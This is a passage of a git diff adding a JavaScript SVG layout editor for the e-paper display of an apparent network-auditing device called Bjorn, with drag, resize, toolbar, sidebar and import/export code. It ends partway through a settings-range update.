handlesG = document.createElementNS(SVG_NS, 'g'); + const hs = 2.5; + const corners = [ + { cx: e.x, cy: e.y, cursor: 'nw-resize', corner: 'nw' }, + { cx: e.x + (e.w || 0), cy: e.y, cursor: 'ne-resize', corner: 'ne' }, + { cx: e.x, cy: e.y + (e.h || 0), cursor: 'sw-resize', corner: 'sw' }, + { cx: e.x + (e.w || 0), cy: e.y + (e.h || 0), cursor: 'se-resize', corner: 'se' }, + ]; + for (const c of corners) { + const r = document.createElementNS(SVG_NS, 'rect'); + r.setAttribute('x', String(c.cx - hs)); + r.setAttribute('y', String(c.cy - hs)); + r.setAttribute('width', String(hs * 2)); + r.setAttribute('height', String(hs * 2)); + r.setAttribute('fill', '#fff'); + r.setAttribute('stroke', '#4285f4'); + r.setAttribute('stroke-width', '0.8'); + r.setAttribute('data-handle', c.corner); + r.setAttribute('data-key', _selectedKey); + r.style.cursor = c.cursor; + handlesG.appendChild(r); + } + rotG.appendChild(handlesG); + } + + svg.appendChild(rotG); + wrapper.appendChild(svg); + contentRow.appendChild(wrapper); + + // Live EPD preview panel + const livePanel = el('div', { class: 'epd-live-panel' }); + livePanel.appendChild(el('h4', { style: 'margin:0 0 8px;text-align:center' }, ['Live EPD'])); + const liveImg = el('img', { + class: 'epd-live-img', + src: `/web/screen.png?t=${Date.now()}`, + alt: 'Live EPD', + }); + liveImg.onerror = () => { liveImg.style.opacity = '0.3'; }; + liveImg.onload = () => { liveImg.style.opacity = '1'; }; + livePanel.appendChild(liveImg); + livePanel.appendChild(el('p', { style: 'text-align:center;font-size:11px;opacity:.5;margin:4px 0 0' }, [ + `${W}x${H}px — refreshes every 4s` + ])); + contentRow.appendChild(livePanel); + + _mainEl.appendChild(contentRow); + + // Bind pointer events on SVG + bindCanvasEvents(svg, W, H); +} + +/* ── Representative content for preview ──────────────────── */ +const PREVIEW_TEXT = { + title: 'BJORN', + ip_text: '192.168.x.x', + status_line1: 'IDLE', + status_line2: 'Ready', + lvl_box: 'LVL\n20', + network_kb: 'M\n0', + attacks_count: 'X\n0', +}; + +/* Stats row: 6 icons at hardcoded x offsets inside the row bounds */ +const STATS_ICONS = ['target', 'port', 'vuln', 'cred', 'zombie', 'data']; +const STATS_X_OFFSETS = [0, 20, 40, 60, 80, 100]; // ref-space offsets from stats_row.x + +function svgText(x, y, text, fontSize, fill, opts = {}) { + const t = document.createElementNS(SVG_NS, 'text'); + t.setAttribute('x', String(x)); + t.setAttribute('y', String(y)); + t.setAttribute('font-size', String(fontSize)); + t.setAttribute('fill', fill); + t.setAttribute('pointer-events', 'none'); + t.setAttribute('font-family', opts.font || 'monospace'); + if (opts.anchor) t.setAttribute('text-anchor', opts.anchor); + if (opts.weight) t.setAttribute('font-weight', opts.weight); + t.textContent = text; + return t; +} + +function addRepresentativeContent(g, key, x, y, w, h, isDark) { + const textFill = isDark ? '#ccc' : '#222'; + const mutedFill = isDark ? '#888' : '#999'; + + // Title — large centered text "BJORN" + if (key === 'title') { + const fs = Math.min(h * 0.75, 10); + g.appendChild(svgText(x + w / 2, y + h * 0.78, 'BJORN', fs, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Stats row — 6 stat icons with count text below each + if (key === 'stats_row') { + const iconSize = Math.min(h * 0.6, 12); + const statNames = ['target', 'port', 'vuln', 'cred', 'zombie', 'data']; + for (let i = 0; i < 6; i++) { + const ox = x + STATS_X_OFFSETS[i] * (w / 118); + // Try to show actual stat icon + const statUrl = _iconCache.get(`_stat_${statNames[i]}`); + if (statUrl) { + const img = document.createElementNS(SVG_NS, 'image'); + img.setAttributeNS(XLINK_NS, 'href', statUrl); + img.setAttribute('x', String(ox)); + img.setAttribute('y', String(y + 1)); + img.setAttribute('width', String(iconSize)); + img.setAttribute('height', String(iconSize)); + img.setAttribute('preserveAspectRatio', 'xMidYMid meet'); + img.setAttribute('pointer-events', 'none'); + if (_invertColors) img.setAttribute('filter', 'invert(1)'); + g.appendChild(img); + } else { + // Fallback: mini box placeholder + const sr = document.createElementNS(SVG_NS, 'rect'); + sr.setAttribute('x', String(ox)); + sr.setAttribute('y', String(y + 1)); + sr.setAttribute('width', String(iconSize)); + sr.setAttribute('height', String(iconSize)); + sr.setAttribute('fill', isDark ? 'rgba(200,200,200,0.15)' : 'rgba(0,0,0,0.08)'); + sr.setAttribute('stroke', mutedFill); + sr.setAttribute('stroke-width', '0.3'); + sr.setAttribute('rx', '0.5'); + sr.setAttribute('pointer-events', 'none'); + g.appendChild(sr); + } + // Count text below icon + g.appendChild(svgText(ox + iconSize / 2, y + iconSize + 5, '0', 3, mutedFill, { anchor: 'middle' })); + } + return; + } + + // IP text + if (key === 'ip_text') { + const fs = Math.min(h * 0.7, 6); + g.appendChild(svgText(x + 1, y + fs + 0.5, '192.168.x.x', fs, textFill)); + return; + } + + // Status lines + if (key === 'status_line1') { + const fs = Math.min(h * 0.7, 6); + g.appendChild(svgText(x + 1, y + fs + 0.5, 'IDLE', fs, textFill, { weight: 'bold' })); + return; + } + if (key === 'status_line2') { + const fs = Math.min(h * 0.7, 5); + g.appendChild(svgText(x + 1, y + fs + 0.5, 'Ready', fs, mutedFill)); + return; + } + + // Progress bar — filled portion + if (key === 'progress_bar') { + const fill = document.createElementNS(SVG_NS, 'rect'); + fill.setAttribute('x', String(x)); + fill.setAttribute('y', String(y)); + fill.setAttribute('width', String(w * 0.65)); + fill.setAttribute('height', String(h)); + fill.setAttribute('fill', isDark ? 'rgba(200,200,200,0.3)' : 'rgba(0,0,0,0.15)'); + fill.setAttribute('pointer-events', 'none'); + fill.setAttribute('rx', '0.5'); + g.appendChild(fill); + return; + } + + // Comment area — multiline text preview + if (key === 'comment_area') { + const fs = 4; + const lines = ['Feeling like a', 'cyber-sleuth in', "\'Sneakers\'."]; + for (let i = 0; i < lines.length; i++) { + g.appendChild(svgText(x + 2, y + 6 + i * (fs + 1.5), lines[i], fs, mutedFill, { font: 'sans-serif' })); + } + return; + } + + // LVL box — label + number + if (key === 'lvl_box') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'LvL', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '20', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Network KB + if (key === 'network_kb') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'M', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '0', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Attacks count + if (key === 'attacks_count') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'X', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '29', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // CPU / Memory histograms — simple bar preview + if (key === 'cpu_histogram' || key === 'mem_histogram') { + const label = key === 'cpu_histogram' ? 'C' : 'M'; + const barH = h * 0.6; + const bar = document.createElementNS(SVG_NS, 'rect'); + bar.setAttribute('x', String(x)); + bar.setAttribute('y', String(y + h - barH)); + bar.setAttribute('width', String(w)); + bar.setAttribute('height', String(barH)); + bar.setAttribute('fill', isDark ? 'rgba(200,200,200,0.2)' : 'rgba(0,0,0,0.1)'); + bar.setAttribute('pointer-events', 'none'); + g.appendChild(bar); + g.appendChild(svgText(x + w / 2, y + h + 4, label, 3, mutedFill, { anchor: 'middle' })); + return; + } + + // Main character — note: display.py auto-centers at bottom, + // layout rect is a bounding hint only + if (key === 'main_character' && !_iconCache.has(key)) { + const fs = 3; + g.appendChild(svgText(x + w / 2, y + h / 2 - 2, '\u2699 auto-placed', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h / 2 + 3, 'by renderer', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + return; + } +} + +function createSvgElement(key, elem, W, H) { + const colors = colorFor(key, _displayMode); + const selected = key === _selectedKey; + const isDark = (_displayMode === 'bn') !== _invertColors; + + if (isLine(key)) { + const g = document.createElementNS(SVG_NS, 'g'); + g.setAttribute('data-key', key); + g.style.cursor = 'ns-resize'; + const y = elem.y || 0; + // Hit area + const hitLine = document.createElementNS(SVG_NS, 'line'); + hitLine.setAttribute('x1', '0'); hitLine.setAttribute('y1', String(y)); + hitLine.setAttribute('x2', String(W)); hitLine.setAttribute('y2', String(y)); + hitLine.setAttribute('stroke', 'transparent'); hitLine.setAttribute('stroke-width', '6'); + g.appendChild(hitLine); + // Visible line + const visLine = document.createElementNS(SVG_NS, 'line'); + visLine.setAttribute('x1', '0'); visLine.setAttribute('y1', String(y)); + visLine.setAttribute('x2', String(W)); visLine.setAttribute('y2', String(y)); + visLine.setAttribute('stroke', selected ? '#4285f4' : colors.stroke); + visLine.setAttribute('stroke-width', selected ? '1.5' : '0.8'); + visLine.setAttribute('stroke-dasharray', selected ? '4,2' : '3,3'); + g.appendChild(visLine); + // Label + if (_labelsVisible) { + const txt = document.createElementNS(SVG_NS, 'text'); + txt.setAttribute('x', '2'); + txt.setAttribute('y', String(y - 1.5)); + txt.setAttribute('font-size', '3.5'); + txt.setAttribute('fill', isDark ? '#aaa' : '#666'); + txt.setAttribute('pointer-events', 'none'); + txt.textContent = key.replace('line_', ''); + g.appendChild(txt); + } + return g; + } + + // Rectangle element + const g = document.createElementNS(SVG_NS, 'g'); + g.setAttribute('data-key', key); + g.style.cursor = 'move'; + + const x = elem.x || 0; + const y = elem.y || 0; + const w = elem.w || 10; + const h = elem.h || 10; + + const r = document.createElementNS(SVG_NS, 'rect'); + r.setAttribute('x', String(x)); + r.setAttribute('y', String(y)); + r.setAttribute('width', String(w)); + r.setAttribute('height', String(h)); + r.setAttribute('fill', colors.fill); + r.setAttribute('stroke', selected ? '#4285f4' : colors.stroke); + r.setAttribute('stroke-width', selected ? '1.2' : '0.5'); + r.setAttribute('rx', '0.5'); + if (selected) { + r.setAttribute('stroke-dasharray', '3,1'); + } + g.appendChild(r); + + // Icon image overlay (if available) + const iconUrl = _iconCache.get(key); + if (iconUrl) { + const img = document.createElementNS(SVG_NS, 'image'); + img.setAttributeNS(XLINK_NS, 'href', iconUrl); + img.setAttribute('x', String(x)); + img.setAttribute('y', String(y)); + img.setAttribute('width', String(w)); + img.setAttribute('height', String(h)); + img.setAttribute('preserveAspectRatio', 'xMidYMid meet'); + img.setAttribute('pointer-events', 'none'); + if (_invertColors) img.setAttribute('filter', 'invert(1)'); + g.appendChild(img); + } + + // Representative content preview (text, bars, stat icons) + addRepresentativeContent(g, key, x, y, w, h, isDark); + + // Label (name badge — top-left corner, small) + if (_labelsVisible) { + const fontSize = Math.min(3, Math.max(1.8, h * 0.2)); + const txt = document.createElementNS(SVG_NS, 'text'); + txt.setAttribute('x', String(x + 1)); + txt.setAttribute('y', String(y + fontSize + 0.3)); + txt.setAttribute('font-size', fontSize.toFixed(1)); + txt.setAttribute('fill', isDark ? 'rgba(180,180,180,0.6)' : 'rgba(60,60,60,0.5)'); + txt.setAttribute('pointer-events', 'none'); + txt.setAttribute('font-family', 'monospace'); + txt.textContent = key; + g.appendChild(txt); + } + + return g; +} + +/* ── Toolbar ─────────────────────────────────────────────── */ +function buildToolbar() { + const bar = el('div', { class: 'epd-editor-toolbar' }); + + // Row 1 + const row1 = el('div', { class: 'epd-toolbar-row' }); + + // EPD Type selector + const epdSelect = el('select', { class: 'select', title: 'EPD Type' }); + if (_layouts?.layouts) { + const currentType = _layouts.current_epd_type || 'epd2in13_V4'; + for (const [epdType, info] of Object.entries(_layouts.layouts)) { + const opt = el('option', { value: epdType }, [ + `${epdType} (${info.meta?.ref_width || '?'}x${info.meta?.ref_height || '?'})` + ]); + if (epdType === currentType) opt.selected = true; + epdSelect.appendChild(opt); + } + } + epdSelect.addEventListener('change', async () => { + pushUndo(); + await loadFromServer(epdSelect.value); + }); + row1.appendChild(epdSelect); + + // Display mode selector + const modeSelect = el('select', { class: 'select', title: 'Display Mode' }); + [['color', 'Color'], ['nb', 'NB (Black/White)'], ['bn', 'BN (White/Black)']].forEach(([val, label]) => { + const opt = el('option', { value: val }, [label]); + if (val === _displayMode) opt.selected = true; + modeSelect.appendChild(opt); + }); + modeSelect.addEventListener('change', () => { + _displayMode = modeSelect.value; + renderAll(); + }); + row1.appendChild(modeSelect); + + // Rotation selector + const rotSelect = el('select', { class: 'select', title: 'Rotation' }); + [[0, '0\u00b0'], [90, '90\u00b0'], [180, '180\u00b0'], [270, '270\u00b0']].forEach(([val, label]) => { + const opt = el('option', { value: String(val) }, [label]); + if (val === _rotation) opt.selected = true; + rotSelect.appendChild(opt); + }); + rotSelect.addEventListener('change', () => { + _rotation = parseInt(rotSelect.value) || 0; + renderAll(); + }); + row1.appendChild(rotSelect); + + // Invert toggle + const invertBtn = el('button', { + class: `btn${_invertColors ? ' active' : ''}`, + type: 'button', title: 'Invert Colors', + }, ['Invert']); + invertBtn.addEventListener('click', () => { + _invertColors = !_invertColors; + invertBtn.classList.toggle('active', _invertColors); + renderAll(); + }); + row1.appendChild(invertBtn); + + // Zoom + const zoomWrap = el('span', { class: 'epd-zoom-wrap' }); + const zoomLabel = el('span', { class: 'epd-zoom-label' }, [`${Math.round(_zoom * 100)}%`]); + const zoomRange = el('input', { + type: 'range', class: 'range epd-zoom-range', + min: '1', max: '6', step: '0.5', value: String(_zoom), + }); + zoomRange.addEventListener('input', () => { + _zoom = parseFloat(zoomRange.value) || 2; + zoomLabel.textContent = `${Math.round(_zoom * 100)}%`; + renderAll(); + }); + zoomWrap.append(el('span', {}, ['Zoom:']), zoomRange, zoomLabel); + row1.appendChild(zoomWrap); + + bar.appendChild(row1); + + // Row 2 + const row2 = el('div', { class: 'epd-toolbar-row' }); + + // Grid size + const gridSelect = el('select', { class: 'select', title: 'Grid Size' }); + [0, 5, 10, 15, 20].forEach(g => { + const opt = el('option', { value: String(g) }, [g === 0 ? 'No grid' : `${g}px`]); + if (g === _gridSize) opt.selected = true; + gridSelect.appendChild(opt); + }); + gridSelect.addEventListener('change', () => { + _gridSize = parseInt(gridSelect.value) || 0; + renderAll(); + }); + row2.appendChild(gridSelect); + + // Snap + const snapBtn = el('button', { + class: `btn${_snapEnabled ? ' active' : ''}`, type: 'button', + }, [_snapEnabled ? 'Snap ON' : 'Snap OFF']); + snapBtn.addEventListener('click', () => { + _snapEnabled = !_snapEnabled; + snapBtn.textContent = _snapEnabled ? 'Snap ON' : 'Snap OFF'; + snapBtn.classList.toggle('active', _snapEnabled); + }); + row2.appendChild(snapBtn); + + // Labels + const labelsBtn = el('button', { + class: `btn${_labelsVisible ? ' active' : ''}`, type: 'button', + }, [_labelsVisible ? 'Labels ON' : 'Labels OFF']); + labelsBtn.addEventListener('click', () => { + _labelsVisible = !_labelsVisible; + labelsBtn.textContent = _labelsVisible ? 'Labels ON' : 'Labels OFF'; + labelsBtn.classList.toggle('active', _labelsVisible); + renderAll(); + }); + row2.appendChild(labelsBtn); + + // Undo + row2.appendChild(mkBtn('Undo', undo, 'Undo (Ctrl+Z)')); + + // Add element + row2.appendChild(mkBtn('+ Add', showAddModal, 'Add Element')); + + // Import / Export + row2.appendChild(mkBtn('Import', importLayout, 'Import Layout JSON')); + row2.appendChild(mkBtn('Export', exportLayout, 'Export Layout JSON')); + + // Save + const saveBtn = mkBtn('Save', saveToServer, 'Save to Device'); + saveBtn.style.fontWeight = '800'; + row2.appendChild(saveBtn); + + // Reset + const resetBtn = el('button', { class: 'btn danger', type: 'button', title: 'Reset to Defaults' }, ['Reset']); + resetBtn.addEventListener('click', resetToDefault); + row2.appendChild(resetBtn); + + bar.appendChild(row2); + return bar; +} + +function mkBtn(text, onClick, title = '') { + const b = el('button', { class: 'btn', type: 'button', title }, [text]); + b.addEventListener('click', onClick); + return b; +} + +/* ── Sidebar ─────────────────────────────────────────────── */ +function renderSidebar() { + if (!_sidebarEl || !_layout) return; + empty(_sidebarEl); + + // Properties panel + const propsPanel = el('div', { class: 'epd-props-panel' }); + if (_selectedKey && _layout.elements?.[_selectedKey]) { + const elem = _layout.elements[_selectedKey]; + const isL = isLine(_selectedKey); + + propsPanel.appendChild(el('h4', { style: 'margin:0 0 8px' }, [_selectedKey])); + + const makeHandler = (prop, minVal) => (v) => { + pushUndo(); + _layout.elements[_selectedKey][prop] = minVal != null ? Math.max(minVal, v) : v; + renderAll(); + }; + + if (isL) { + propsPanel.appendChild(propRow('Y', elem.y || 0, makeHandler('y'))); + } else { + propsPanel.appendChild(propRow('X', elem.x || 0, makeHandler('x'))); + propsPanel.appendChild(propRow('Y', elem.y || 0, makeHandler('y'))); + propsPanel.appendChild(propRow('W', elem.w || 0, makeHandler('w', 4))); + propsPanel.appendChild(propRow('H', elem.h || 0, makeHandler('h', 4))); + } + + const delBtn = el('button', { class: 'btn danger epd-delete-btn', type: 'button' }, ['Delete Element']); + delBtn.addEventListener('click', () => { + if (!confirm(`Delete "${_selectedKey}"?`)) return; + pushUndo(); + delete _layout.elements[_selectedKey]; + _selectedKey = null; + renderAll(); + }); + propsPanel.appendChild(delBtn); + } else { + propsPanel.appendChild(el('p', { class: 'epd-hint' }, ['Click an element on the canvas'])); + } + _sidebarEl.appendChild(propsPanel); + + // Elements list + const listSection = el('div', { class: 'epd-elements-list' }); + listSection.appendChild(el('h4', { style: 'margin:8px 0 4px' }, ['Elements'])); + + const elements = _layout.elements || {}; + const rects = Object.keys(elements).filter(k => !isLine(k)).sort(); + const lines = Object.keys(elements).filter(k => isLine(k)).sort(); + + const ul = el('ul', { class: 'unified-list' }); + for (const key of rects) { + const e = elements[key]; + ul.appendChild(makeElementListItem(key, e, false)); + } + if (lines.length) { + ul.appendChild(el('li', { class: 'epd-list-divider' }, ['Lines'])); + for (const key of lines) { + ul.appendChild(makeElementListItem(key, elements[key], true)); + } + } + listSection.appendChild(ul); + _sidebarEl.appendChild(listSection); + + // Fonts section + const fonts = _layout.fonts; + if (fonts && Object.keys(fonts).length) { + const fontsSection = el('div', { class: 'epd-fonts-section' }); + fontsSection.appendChild(el('h4', { style: 'margin:12px 0 4px' }, ['Font Sizes'])); + for (const [fk, fv] of Object.entries(fonts)) { + fontsSection.appendChild(propRow(fk, fv, (v) => { + pushUndo(); + _layout.fonts[fk] = Math.max(4, v); + renderSidebar(); + })); + } + _sidebarEl.appendChild(fontsSection); + } + + // Meta info + const meta = _layout.meta || {}; + _sidebarEl.appendChild(el('p', { style: 'margin:12px 0 2px;opacity:.5;font-size:11px' }, [ + `${meta.name || '?'} \u2014 ${meta.ref_width || '?'}\u00d7${meta.ref_height || '?'}px` + ])); +} + +function makeElementListItem(key, e, isL) { + const li = el('li', { + class: `card epd-element-item${key === _selectedKey ? ' selected' : ''}`, + }); + if (isL) { + li.append( + el('span', { class: 'epd-line-dash' }, ['\u2500\u2500']), + el('span', { style: 'flex:1;font-weight:700' }, [key]), + el('span', { class: 'epd-coords' }, [`y=${e.y}`]), + ); + } else { + // Show icon thumbnail if available + const iconUrl = _iconCache.get(key); + if (iconUrl) { + const thumb = el('img', { src: iconUrl, class: 'epd-list-icon' }); + li.appendChild(thumb); + } else { + li.appendChild(el('span', { + class: 'epd-type-dot', + style: `background:${(TYPE_COLORS[guessType(key)] || TYPE_COLORS.default).stroke}` + })); + } + li.append( + el('span', { style: 'flex:1;font-weight:700' }, [key]), + el('span', { class: 'epd-coords' }, [`(${e.x},${e.y})`]), + ); + } + li.addEventListener('click', () => { _selectedKey = key; renderAll(); _mainEl?.focus(); }); + return li; +} + +function propRow(label, value, onChange) { + const row = el('div', { class: 'epd-prop-row' }); + const lbl = el('label', {}, [label]); + const inp = el('input', { + type: 'number', class: 'input epd-prop-input', + value: String(value), step: '1', + }); + inp.addEventListener('change', () => { + const v = parseInt(inp.value); + if (Number.isFinite(v)) onChange(v); + }); + row.append(lbl, inp); + return row; +} + +/* ── Canvas Events (Drag & Drop) ─────────────────────────── */ +function bindCanvasEvents(svg, W, H) { + const toRef = (clientX, clientY) => { + const rect = svg.getBoundingClientRect(); + const rawX = (clientX - rect.left) / _zoom; + const rawY = (clientY - rect.top) / _zoom; + // Account for rotation + if (_rotation === 90) return { x: rawY, y: W - rawX }; + if (_rotation === 180) return { x: W - rawX, y: H - rawY }; + if (_rotation === 270) return { x: H - rawY, y: rawX }; + return { x: rawX, y: rawY }; + }; + + svg.addEventListener('pointerdown', (ev) => { + if (ev.button !== 0) return; + const pt = toRef(ev.clientX, ev.clientY); + + // Resize handle hit + const handleEl = ev.target.closest('[data-handle]'); + if (handleEl && handleEl.dataset.key) { + const key = handleEl.dataset.key; + const elem = _layout.elements?.[key]; + if (!elem) return; + pushUndo(); + _dragging = { key, corner: handleEl.dataset.handle, type: 'resize', startElem: { ...elem } }; + _selectedKey = key; + svg.setPointerCapture(ev.pointerId); + ev.preventDefault(); + renderSidebar(); + return; + } + + // Element hit + const gEl = ev.target.closest('[data-key]'); + if (gEl && gEl.dataset.key) { + const key = gEl.dataset.key; + const elem = _layout.elements?.[key]; + if (!elem) return; + pushUndo(); + _selectedKey = key; + _dragging = { + key, type: 'move', + offsetX: isLine(key) ? 0 : pt.x - (elem.x || 0), + offsetY: pt.y - (elem.y || 0), + }; + svg.setPointerCapture(ev.pointerId); + ev.preventDefault(); + renderSidebar(); + return; + } + + // Deselect — keep focus on main for arrow keys + _selectedKey = null; + _mainEl?.focus(); + renderAll(); + }); + + svg.addEventListener('pointermove', (ev) => { + if (!_dragging || !_layout) return; + const pt = toRef(ev.clientX, ev.clientY); + const key = _dragging.key; + const elem = _layout.elements[key]; + if (!elem) return; + const g = _snapEnabled ? _gridSize : 0; + + if (_dragging.type === 'move') { + if (isLine(key)) { + elem.y = clamp(snapVal(pt.y - _dragging.offsetY, g), 0, H); + } else { + elem.x = clamp(snapVal(pt.x - _dragging.offsetX, g), 0, W - (elem.w || 1)); + elem.y = clamp(snapVal(pt.y - _dragging.offsetY, g), 0, H - (elem.h || 1)); + } + } else if (_dragging.type === 'resize') { + const se = _dragging.startElem; + const corner = _dragging.corner; + let nx = se.x, ny = se.y, nw = se.w, nh = se.h; + if (corner.includes('e')) nw = Math.max(4, snapVal(pt.x - se.x, g)); + if (corner.includes('w')) { const newX = snapVal(pt.x, g); nw = Math.max(4, se.x + se.w - newX); nx = se.x + se.w - nw; } + if (corner.includes('s')) nh = Math.max(4, snapVal(pt.y - se.y, g)); + if (corner.includes('n')) { const newY = snapVal(pt.y, g); nh = Math.max(4, se.y + se.h - newY); ny = se.y + se.h - nh; } + elem.x = clamp(nx, 0, W - 4); + elem.y = clamp(ny, 0, H - 4); + elem.w = Math.min(nw, W - elem.x); + elem.h = Math.min(nh, H - elem.y); + } + + updateSvgElement(key, elem, W, H); + updateHandles(key, elem); + renderSidebar(); + }); + + svg.addEventListener('pointerup', (ev) => { + if (_dragging) { + svg.releasePointerCapture(ev.pointerId); + _dragging = null; + renderAll(); + // Focus main for keyboard navigation + _mainEl?.focus(); + } + }); + + // Keyboard + if (!_mainEl._kbBound) { + _mainEl._kbBound = true; + _mainEl.setAttribute('tabindex', '0'); + _mainEl.addEventListener('keydown', (ev) => { + if ((ev.ctrlKey || ev.metaKey) && ev.key === 'z') { ev.preventDefault(); undo(); return; } + if (!_selectedKey || !_layout?.elements?.[_selectedKey]) return; + const step = _snapEnabled && _gridSize > 1 ? _gridSize : 1; + const m = _layout.meta || {}; + const mW = m.ref_width || 122, mH = m.ref_height || 250; + const elem = _layout.elements[_selectedKey]; + let moved = false; + if (ev.key === 'ArrowLeft') { pushUndo(); elem.x = Math.max(0, (elem.x || 0) - step); moved = true; } + if (ev.key === 'ArrowRight') { pushUndo(); elem.x = Math.min(mW - (elem.w || 1), (elem.x || 0) + step); moved = true; } + if (ev.key === 'ArrowUp') { pushUndo(); elem.y = Math.max(0, (elem.y || 0) - step); moved = true; } + if (ev.key === 'ArrowDown') { pushUndo(); elem.y = Math.min(mH - (elem.h || 1), (elem.y || 0) + step); moved = true; } + if (ev.key === 'Delete' || ev.key === 'Backspace') { + if (ev.target.tagName === 'INPUT') return; // don't interfere with input fields + if (confirm(`Delete "${_selectedKey}"?`)) { pushUndo(); delete _layout.elements[_selectedKey]; _selectedKey = null; moved = true; } + } + if (moved) { ev.preventDefault(); renderAll(); } + }); + } +} + +/* ── Live SVG Updates ────────────────────────────────────── */ +function updateSvgElement(key, elem, W, H) { + if (!_svg) return; + const g = _svg.querySelector(`[data-key="${key}"]`); + if (!g) return; + + if (isLine(key)) { + g.querySelectorAll('line').forEach(l => { l.setAttribute('y1', String(elem.y || 0)); l.setAttribute('y2', String(elem.y || 0)); }); + const txt = g.querySelector('text'); + if (txt) txt.setAttribute('y', String((elem.y || 0) - 1.5)); + } else { + const r = g.querySelector('rect'); + if (r) { r.setAttribute('x', String(elem.x || 0)); r.setAttribute('y', String(elem.y || 0)); r.setAttribute('width', String(elem.w || 10)); r.setAttribute('height', String(elem.h || 10)); } + const img = g.querySelector('image'); + if (img) { img.setAttribute('x', String(elem.x || 0)); img.setAttribute('y', String(elem.y || 0)); img.setAttribute('width', String(elem.w || 10)); img.setAttribute('height', String(elem.h || 10)); } + const txt = g.querySelector('text'); + if (txt) { const fs = Math.min(3.5, Math.max(2, (elem.h || 10) * 0.28)); txt.setAttribute('x', String((elem.x || 0) + 1)); txt.setAttribute('y', String((elem.y || 0) + fs + 0.5)); } + } +} + +function updateHandles(key, elem) { + if (!_svg || isLine(key)) return; + const hs = 2.5; + const corners = { + nw: [elem.x, elem.y], ne: [elem.x + (elem.w || 0), elem.y], + sw: [elem.x, elem.y + (elem.h || 0)], se: [elem.x + (elem.w || 0), elem.y + (elem.h || 0)], + }; + _svg.querySelectorAll(`[data-key="${key}"][data-handle]`).forEach(h => { + const c = corners[h.dataset.handle]; + if (c) { h.setAttribute('x', String(c[0] - hs)); h.setAttribute('y', String(c[1] - hs)); } + }); +} + +/* ── Add Element Modal ───────────────────────────────────── */ +function showAddModal() { + if (!_mainEl || !_layout) return; + const meta = _layout.meta || {}; + const W = meta.ref_width || 122; + const H = meta.ref_height || 250; + + const overlay = el('div', { class: 'epd-add-modal' }); + const modal = el('div', { class: 'modal-content' }); + modal.innerHTML = ` +

Add Element

+
+ + +
+
+ + +
+ `; + overlay.appendChild(modal); + overlay.style.display = 'flex'; + _mainEl.appendChild(overlay); + + const nameInp = overlay.querySelector('#epd-add-name'); + const typeInp = overlay.querySelector('#epd-add-type'); + overlay.querySelector('#epd-add-cancel').addEventListener('click', () => overlay.remove()); + overlay.addEventListener('click', (e) => { if (e.target === overlay) overlay.remove(); }); + overlay.querySelector('#epd-add-confirm').addEventListener('click', () => { + const name = (nameInp.value || '').trim().replace(/[^a-z0-9_]/gi, '_').toLowerCase(); + if (!name) { toast('Name is required', 2000, 'error'); return; } + if (_layout.elements[name]) { toast('Element already exists', 2000, 'error'); return; } + pushUndo(); + _layout.elements[name] = typeInp.value === 'line' + ? { y: Math.round(H / 2) } + : { x: Math.round(W / 2 - 10), y: Math.round(H / 2 - 10), w: 20, h: 20 }; + _selectedKey = name; + overlay.remove(); + renderAll(); + }); + nameInp.focus(); +} + +/* ── Import / Export ─────────────────────────────────────── */ +function exportLayout() { + if (!_layout) return; + const blob = new Blob([JSON.stringify(_layout, null, 2)], { type: 'application/json' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `${_layout.meta?.name || 'layout'}.json`; + a.click(); + URL.revokeObjectURL(url); + toast(Lx('epd.exported', 'Layout exported'), 1800, 'success'); +} + +function importLayout() { + const inp = document.createElement('input'); + inp.type = 'file'; + inp.accept = '.json'; + inp.onchange = async () => { + const f = inp.files?.[0]; + if (!f) return; + try { + const text = await f.text(); + const data = JSON.parse(text); + if (!data.meta || !data.elements) { toast('Invalid layout: needs "meta" + "elements"', 3000, 'error'); return; } + pushUndo(); + _layout = data; + _selectedKey = null; + toast(Lx('epd.imported', 'Layout imported'), 1800, 'success'); + renderAll(); + } catch (err) { + toast(`Import failed: ${err.message}`, 3000, 'error'); + } + }; + inp.click(); +} diff --git a/web/js/core/settings-config.js b/web/js/core/settings-config.js index 0e10d49..10cbc64 100644 --- a/web/js/core/settings-config.js +++ b/web/js/core/settings-config.js @@ -1,4 +1,4 @@ -import { $, el, toast, empty } from './dom.js'; +import { $, el, toast, empty } from './dom.js'; import { api } from './api.js'; import { t } from './i18n.js'; @@ -33,10 +33,51 @@ const RANGES = { semaphore_slots: { min: 1, max: 128, step: 1 }, line_spacing: { min: 0, max: 10, step: 0.1 }, vuln_update_interval: { min: 1, max: 86400, step: 1 }, + ai_feature_selection_min_variance: { min: 0, max: 1, step: 0.001 }, + ai_model_history_max: { min: 1, max: 10, step: 1 }, + ai_auto_rollback_window: { min: 10, max: 500, step: 10 }, + ai_cold_start_bootstrap_weight: { min: 0, max: 1, step: 0.05 }, + circuit_breaker_threshold: { min: 1, max: 20, step: 1 }, + manual_mode_scan_interval: { min: 30, max: 3600, step: 10 }, }; +/* ── Sub-tab grouping: maps __title_* section keys → sub-tab id ── */ +const SECTION_TO_TAB = { + '__title_Bjorn__': 'core', + '__title_modes__': 'core', + '__title_web__': 'core', + '__title_interfaces__': 'network', + '__title_network__': 'network', + '__title_actions_studio__': 'actions', + '__title_timewaits__': 'actions', + '__title_orchestrator__': 'actions', + '__title_bruteforce__': 'actions', + '__title_display__': 'display', + '__title_epd__': 'display', + '__title_timing__': 'display', + '__title_ai__': 'ai', + 